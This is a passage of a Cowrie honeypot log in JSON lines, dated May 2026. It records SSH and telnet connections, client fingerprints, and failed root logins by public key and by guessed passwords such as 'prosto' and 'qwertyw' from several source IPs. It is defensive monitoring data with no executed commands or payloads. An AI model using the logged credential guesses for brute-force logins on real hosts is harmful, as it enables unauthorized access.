{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:56.211404Z","src_ip":"148.113.221.114","session":"68d00659e535","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:74:c6:77:8c:c2:75:6a:96:e1:fa:78:3f:95:3b:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzf8NG9ayt8EQljchvp69p3sk3TGXGZ4JOkz8H5ohoNMKxMIYhyuYJS0FZ3LKrb4DxYt7xnzdvHGUYHG5mpAvLnXg5i2U6VmCNXQ6GeCpdfpYthOVqr3UeeIHmLUW6Gtppy6Uq5kx6+P1xhiIEJAtL4uL6/3sprbzvNK63PWwkPlECePO3A9tQwHmA2FoWoyaYXOFRc9pBamtGRV/dXHt1fdGbd9FhHCK82/Dhn8qjy5+yUWOjSG1VtlGCqYDBLpmSjFZAhgwxiLWL8yN1ocpirDear8mWCUqUXntsNcIMoIhFUO1efSBjAzFHdQ4a2Jc4DUAUXD+Ho5tuxqhZkEFN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:74:c6:77:8c:c2:75:6a:96:e1:fa:78:3f:95:3b:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:56.290748Z","src_ip":"148.113.221.114","session":"68d00659e535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:74:c6:77:8c:c2:75:6a:96:e1:fa:78:3f:95:3b:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzf8NG9ayt8EQljchvp69p3sk3TGXGZ4JOkz8H5ohoNMKxMIYhyuYJS0FZ3LKrb4DxYt7xnzdvHGUYHG5mpAvLnXg5i2U6VmCNXQ6GeCpdfpYthOVqr3UeeIHmLUW6Gtppy6Uq5kx6+P1xhiIEJAtL4uL6/3sprbzvNK63PWwkPlECePO3A9tQwHmA2FoWoyaYXOFRc9pBamtGRV/dXHt1fdGbd9FhHCK82/Dhn8qjy5+yUWOjSG1VtlGCqYDBLpmSjFZAhgwxiLWL8yN1ocpirDear8mWCUqUXntsNcIMoIhFUO1efSBjAzFHdQ4a2Jc4DUAUXD+Ho5tuxqhZkEFN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:56.294573Z","src_ip":"148.113.221.114","session":"68d00659e535","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:20:cc:88:5d:19:4f:ea:88:46:b0:81:ac:0a:08:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCTNLkyjEVZ0SOZWLoT7KXXc5nfA5RNQRA97clIChQC8JgSKScPttFgU04UxVwr2Y/FugcYAXljgMaOnqs3D7jhljv2+w7HbsKCcc1InTiijLW8JZTd7xGm/z179No5K+VJVid2QuLQAfXz596wbFogu4Gi9lWcPq9g5VBg75kejb4NqNAqTP2tlv6QijZ3SMy1LH634/oy4b6TX1S8f0SepCS3EWGM95n0tH0AyZW3GsY//WSkVc+ifehYsH4IgM3IiDy3mTvTiFrNT4e+W6FsMM7VN6qVrrzEY6MFSG1t4eHFdAYzSuo23Dp1W3R/jVo/vsHOrY0axlI73Ni0vBvl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:20:cc:88:5d:19:4f:ea:88:46:b0:81:ac:0a:08:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:56.316444Z","src_ip":"148.113.221.114","session":"68d00659e535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:20:cc:88:5d:19:4f:ea:88:46:b0:81:ac:0a:08:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCTNLkyjEVZ0SOZWLoT7KXXc5nfA5RNQRA97clIChQC8JgSKScPttFgU04UxVwr2Y/FugcYAXljgMaOnqs3D7jhljv2+w7HbsKCcc1InTiijLW8JZTd7xGm/z179No5K+VJVid2QuLQAfXz596wbFogu4Gi9lWcPq9g5VBg75kejb4NqNAqTP2tlv6QijZ3SMy1LH634/oy4b6TX1S8f0SepCS3EWGM95n0tH0AyZW3GsY//WSkVc+ifehYsH4IgM3IiDy3mTvTiFrNT4e+W6FsMM7VN6qVrrzEY6MFSG1t4eHFdAYzSuo23Dp1W3R/jVo/vsHOrY0axlI73Ni0vBvl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:56.323016Z","src_ip":"148.113.221.114","session":"68d00659e535","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:41:2e:b7:e6:ad:fb:e6:76:8d:84:34:d8:97:85:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgOrTuL5qasuCDcOgzA6dl3FPWnE/8Ej7PkHthMpe23q/J7ulol4INkruRuRB94rSbTzpPzUF/dl+39iCEonfobKzA32bQR219X6ETJqXkyJ/+nqJbfyTV8/oE0A6Th/omHuq8OY6tSHBERDd7JzNgYCu7QmVU/yvU/RxKmJgH18nHjkn+H46Lm4x9LZBWLHfLgqJ2AWrKkK1kXLepugKAWw0LWGMtQjkDBoNdqIKbz7uCCsc/K8A186DatZRi8kRK1+qkuUsiYyppf/mwgJqsV8luooN+VYkS7tlF/clJv0g4IIzaK5Yycv4Yk2gG+KrjiULuR+5rX7L+eYXBlZqL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:41:2e:b7:e6:ad:fb:e6:76:8d:84:34:d8:97:85:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:56.345372Z","src_ip":"148.113.221.114","session":"68d00659e535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:41:2e:b7:e6:ad:fb:e6:76:8d:84:34:d8:97:85:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgOrTuL5qasuCDcOgzA6dl3FPWnE/8Ej7PkHthMpe23q/J7ulol4INkruRuRB94rSbTzpPzUF/dl+39iCEonfobKzA32bQR219X6ETJqXkyJ/+nqJbfyTV8/oE0A6Th/omHuq8OY6tSHBERDd7JzNgYCu7QmVU/yvU/RxKmJgH18nHjkn+H46Lm4x9LZBWLHfLgqJ2AWrKkK1kXLepugKAWw0LWGMtQjkDBoNdqIKbz7uCCsc/K8A186DatZRi8kRK1+qkuUsiYyppf/mwgJqsV8luooN+VYkS7tlF/clJv0g4IIzaK5Yycv4Yk2gG+KrjiULuR+5rX7L+eYXBlZqL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:56.349585Z","src_ip":"148.113.221.114","session":"68d00659e535","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:e2:7a:de:09:24:94:f7:f4:36:7e:92:06:17:7a:20","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAITfzOCWf/ylLtPA1T1mCwR1sRYrUXsu2JywHGkFIKCYmipFkIUFpyvJcAfBqq2At4nq8Mtg7qBjqJ9IH62ydb/QfPXs6cY0XX+XATeEq4avPmBT+EZ0nrICEvURHV6x8HYFh5Ksg2dd+wyjHdDlYTB8Hb2DZlIgGZuxK4r0AocZAAAAFQCM9FSj5fskocgmNTyOQFl7lnzw9QAAAIBbyRd06xiSSlf2BTVspVm6acNM0M/WA7i7Dj+PQ6Fbuah8m+8MBzrr0XD+U5633k3/YTN1fHVa0SlIh/+t4jyoOhMmsJkJmv9GeqX+WsDoVk6X1nZCswtFdMcP3/Ru5CowUuewMzlLp6Ea5lyLpFg57vObmHkS4XljhKVYGkiybAAAAIAPjplifDHbOS3a2UqV7Wi3EqyxHRsIC+fYS5EgTDX8OJdFWM14AwRIRNz/aPbhdtPrEJMPgf6FKtPp4lwqHUrRnhUflaULIdnBrs8Go/IKW+F0ColcRTpPC8+VZn4/GnggmuvSZhlZne3Y1ceVjwQSTrwoGZf4oT8UcSx1F2uaKw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint ac:e2:7a:de:09:24:94:f7:f4:36:7e:92:06:17:7a:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:56.370462Z","src_ip":"148.113.221.114","session":"68d00659e535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:e2:7a:de:09:24:94:f7:f4:36:7e:92:06:17:7a:20","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAITfzOCWf/ylLtPA1T1mCwR1sRYrUXsu2JywHGkFIKCYmipFkIUFpyvJcAfBqq2At4nq8Mtg7qBjqJ9IH62ydb/QfPXs6cY0XX+XATeEq4avPmBT+EZ0nrICEvURHV6x8HYFh5Ksg2dd+wyjHdDlYTB8Hb2DZlIgGZuxK4r0AocZAAAAFQCM9FSj5fskocgmNTyOQFl7lnzw9QAAAIBbyRd06xiSSlf2BTVspVm6acNM0M/WA7i7Dj+PQ6Fbuah8m+8MBzrr0XD+U5633k3/YTN1fHVa0SlIh/+t4jyoOhMmsJkJmv9GeqX+WsDoVk6X1nZCswtFdMcP3/Ru5CowUuewMzlLp6Ea5lyLpFg57vObmHkS4XljhKVYGkiybAAAAIAPjplifDHbOS3a2UqV7Wi3EqyxHRsIC+fYS5EgTDX8OJdFWM14AwRIRNz/aPbhdtPrEJMPgf6FKtPp4lwqHUrRnhUflaULIdnBrs8Go/IKW+F0ColcRTpPC8+VZn4/GnggmuvSZhlZne3Y1ceVjwQSTrwoGZf4oT8UcSx1F2uaKw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:56.374237Z","src_ip":"148.113.221.114","session":"68d00659e535","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:02:5f:39:d8:99:5c:82:9e:f2:f6:a9:42:a1:cc:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCXkt06IiBHaqIEAsaOSVXEMiC4BjNXag0nkXiDUKIyUuoKScRXP3rfualnFJtZb/65zTBLbeAa8CfShqoWLUv9mopWsRA8I5pkAb0tGHTPGQycDi1lcno1jen/9RJNIsSmeAxZrEWBk6IkrMsYgExIjVHESNJy6hiQa7N1Xdg0+xYHrn9iYFaPN5y0/wtEiGi0l4pcWa5FplkDW18FbWe0pOUTRj3mzNVaUAUhwRTqizBlAMC8O7zXC/4LuI2l4k143Eb7jIYt4WDGUy8N9zR63AtGMvf5ittDxQRntS4L2DHeGpg8WdIgJwMiPuAo8hIYSfub4U7tqOAvj1ixmXJx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:02:5f:39:d8:99:5c:82:9e:f2:f6:a9:42:a1:cc:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:56.394702Z","src_ip":"148.113.221.114","session":"68d00659e535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:02:5f:39:d8:99:5c:82:9e:f2:f6:a9:42:a1:cc:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCXkt06IiBHaqIEAsaOSVXEMiC4BjNXag0nkXiDUKIyUuoKScRXP3rfualnFJtZb/65zTBLbeAa8CfShqoWLUv9mopWsRA8I5pkAb0tGHTPGQycDi1lcno1jen/9RJNIsSmeAxZrEWBk6IkrMsYgExIjVHESNJy6hiQa7N1Xdg0+xYHrn9iYFaPN5y0/wtEiGi0l4pcWa5FplkDW18FbWe0pOUTRj3mzNVaUAUhwRTqizBlAMC8O7zXC/4LuI2l4k143Eb7jIYt4WDGUy8N9zR63AtGMvf5ittDxQRntS4L2DHeGpg8WdIgJwMiPuAo8hIYSfub4U7tqOAvj1ixmXJx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:56.399220Z","src_ip":"148.113.221.114","session":"68d00659e535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:45:56.421174Z","src_ip":"148.113.221.114","session":"68d00659e535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":57810,"dst_ip":"159.203.135.109","dst_port":22,"session":"94107ccc584c","protocol":"ssh","message":"New connection: 193.37.70.224:57810 (159.203.135.109:22) [session: 94107ccc584c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:46:04.300358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:46:04.308788Z","src_ip":"193.37.70.224","session":"94107ccc584c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:46:04.417379Z","src_ip":"193.37.70.224","session":"94107ccc584c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"prosto","message":"login attempt [root/prosto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:46:04.779439Z","src_ip":"193.37.70.224","session":"94107ccc584c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:46:06.231515Z","src_ip":"193.37.70.224","session":"94107ccc584c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49000,"dst_ip":"10.17.0.5","dst_port":23,"session":"f37b6fe231fe","protocol":"telnet","message":"New connection: 152.42.224.71:49000 (10.17.0.5:23) [session: f37b6fe231fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:46:14.732683Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":39008,"dst_ip":"10.17.0.5","dst_port":22,"session":"db50c463d4ed","protocol":"ssh","message":"New connection: 109.172.54.111:39008 (10.17.0.5:22) [session: db50c463d4ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:46:26.553345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:46:26.597168Z","src_ip":"109.172.54.111","session":"db50c463d4ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:46:26.848061Z","src_ip":"109.172.54.111","session":"db50c463d4ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyw","message":"login attempt [root/qwertyw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:46:27.296209Z","src_ip":"109.172.54.111","session":"db50c463d4ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:46:28.401584Z","src_ip":"109.172.54.111","session":"db50c463d4ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.51780700683594,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:46:57.250251Z","src_ip":"152.42.224.71","session":"f37b6fe231fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":53872,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ed0ee9bfeaf","protocol":"ssh","message":"New connection: 103.183.114.55:53872 (159.203.135.109:22) [session: 4ed0ee9bfeaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:46:58.893869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:46:58.898689Z","src_ip":"103.183.114.55","session":"4ed0ee9bfeaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:46:59.116848Z","src_ip":"103.183.114.55","session":"4ed0ee9bfeaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"66bob","message":"login attempt [root/66bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:46:59.772935Z","src_ip":"103.183.114.55","session":"4ed0ee9bfeaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:47:00.993894Z","src_ip":"103.183.114.55","session":"4ed0ee9bfeaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44646,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ae0f88004d3","protocol":"telnet","message":"New connection: 152.42.224.71:44646 (10.17.0.5:23) [session: 4ae0f88004d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:47:04.101017Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57916,"dst_ip":"10.17.0.5","dst_port":23,"session":"36eabe43a58a","protocol":"telnet","message":"New connection: 152.42.224.71:57916 (10.17.0.5:23) [session: 36eabe43a58a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:47:17.869794Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":45864,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cafd5ec10bb","protocol":"ssh","message":"New connection: 103.82.132.16:45864 (10.17.0.5:22) [session: 9cafd5ec10bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:47:30.740347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:47:30.750393Z","src_ip":"103.82.132.16","session":"9cafd5ec10bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-